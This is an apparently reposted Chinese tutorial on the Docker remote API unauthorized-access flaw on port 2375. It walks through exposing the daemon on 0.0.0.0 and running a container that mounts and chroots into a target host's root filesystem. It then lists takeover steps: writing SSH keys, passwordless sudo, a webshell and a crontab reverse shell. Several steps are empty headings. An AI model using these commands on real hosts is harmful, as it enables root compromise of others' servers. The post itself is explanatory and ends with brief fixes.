这篇文章主要讲解了“docker remote API漏洞怎么修复”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“docker remote API漏洞怎么修复”吧!
漏洞描述
docker是一种开源的应用容器引擎,这个漏洞是利用docker对外开放的一个api接口,因为权限设置不当,导致可以远程命令执行。
测试环境
· 本地一台虚拟机,一台临时创建的阿里云服务器
· centos7
· docker-ce-18.09.9
漏洞复现
首先探测2375端口,如果开放,再构造http:localhost:2375/version请求,如果返回包带有json格式,说明存在该漏洞。
1、安装docker
配置宿主机网卡转发
## 若未配置,需要执行如下$ cat <<EOF > /etc/sysctl.d/docker.confnet.bridge.bridge-nf-call-ip6tables = 1net.bridge.bridge-nf-call-iptables = 1net.ipv4.ip_forward=1EOF$ sysctl -p /etc/sysctl.d/docker.conf
Yum安装配置docker
## 下载阿里源repo文件$ curl -o /etc/yum.repos.d/Centos-7.repo http://mirrors.aliyun.com/repo/Centos-7.repo$ curl -o /etc/yum.repos.d/docker-ce.repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo$ yum clean all && yum makecache## 安装指定版本yum install -y docker-ce-18.09.9## 配置源加速## https://cr.console.aliyun.com/cn-hangzhou/instances/mirrorsmkdir -p /etc/dockervi /etc/docker/daemon.json{ "registry-mirrors" : [ "https://8xpk5wnt.mirror.aliyuncs.com" ]}## 设置开机自启systemctl enable docker systemctl daemon-reload## docker daemonps aux |grep docker## containerdps aux|grep containerdsystemctl status containerd
2、开启2375端口,提供外部访问
编辑docker文件:/usr/lib/systemd/system/docker.service
vim /usr/lib/systemd/system/docker.service
修改ExecStart行为下面内容
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock /
重新加载docker配置
systemctl daemon-reload # 加载docker守护线程systemctl restart docker # 重启docker
· 查看端口
3、信息收集端口
4、查看返回包
5、添加、查看本地密钥
6、远程创建docker并添加密钥
docker -H tcp://8.135.2.198 run –rm -it -v /:/mnt busybox chroot /mnt sh
· 简单解释一下参数的含义:
· –rm 容器停止时,自动删除该容器
· -v 挂载目录。格式为 系统目录:容器目录
· -i 指示 docker 要在容器上打开一个标准的输入接口
· -t 指示 docker 要创建一个伪 tty 终端,连接容器的标准输入接口,之后用户就可以通过终端进行输入
7、本地连接目标宿主机
漏洞危害
通过此漏洞,可在docker命令执行,并且影响宿主机。
总结流程
引用网上的一些总结流程
1. Docker是以root权限运行的,这是所有姿势的前提
1. Docker在运行一个容器的时候可以将宿主机上的一个目录挂载到容器内的一个目录,我们可以参考redis未授权访问漏洞,将宿主机的/root/.ssh目录挂载到容器上,然后写入公钥。如果有web目录的话,最差也能上一个webshell。
1. 有些服务器不允许root登录,可以写入其他用户的.ssh/目录下(通过查看/etc/ssh/sshd_config目录),然后修改/etc/sudoer中的文件,配置为sudo免密码,切换为root
1. 还可以通过crontab写计划任务反弹shell
漏洞修复
1.关闭2375端口 (尤其是公网情况下一定要禁用此端口)
2.在防火墙上配置禁止外网访问2375端口
感谢各位的阅读,以上就是“docker remote API漏洞怎么修复”的内容了,经过本文的学习后,相信大家对docker remote API漏洞怎么修复这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是亿速云,小编将为大家推送更多相关知识点的文章,欢迎关注!
原创文章,作者:kepupublish,如若转载,请注明出处:https://blog.ytso.com/222739.html